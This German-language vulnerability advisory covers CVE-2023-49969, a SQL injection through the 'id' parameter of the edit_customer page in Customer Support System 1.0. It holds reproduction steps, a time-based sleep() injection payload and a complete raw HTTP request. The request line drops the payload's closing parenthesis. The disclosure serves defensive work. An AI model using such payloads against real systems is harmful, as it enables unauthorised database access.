CVE-2023-49969

Customer Support System 1.0 – SQL-Injection-Schwachstelle in edit_customer über „id“ URL-Parameter

Beschreibung: In Version 1 des Customer Support Systems existiert eine SQL-Injection-Schwachstelle. Ein Angreifer mit böswilliger Absicht kann SQL-Befehle auf der MySQL-Datenbank ausführen, indem er den 'id' URL-Parameter beim Bearbeiten eines Kunden manipuliert.

Anfällige Produktversion: Customer Support System 1.0
CVE-Autor: Geraldo Alcântara
Datum: 28/11/2023
Bestätigt am: 19/12/2023
CVE: CVE-2023-49969
Getestet auf: Windows

Schritte zur Reproduktion:

1- Melden Sie sich in der Anwendung an.
2- Navigieren Sie zur Seite customer_list, klicken Sie auf die Schaltfläche „Action“ und wählen Sie „Edit“.
3- Der 'id'-Parameter wird übergeben, was das Einschleusen einer schädlichen Payload ermöglicht.
Payload: (select*from(select(sleep(5)))a)

Anfrage

GET /customer_support/index.php?page=edit_customer&id=(select*from(select(sleep(5)))a HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=customer_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
Upgrade-Insecure-Requests: 1

Entdecker/Quellen:
Geraldo Alcântara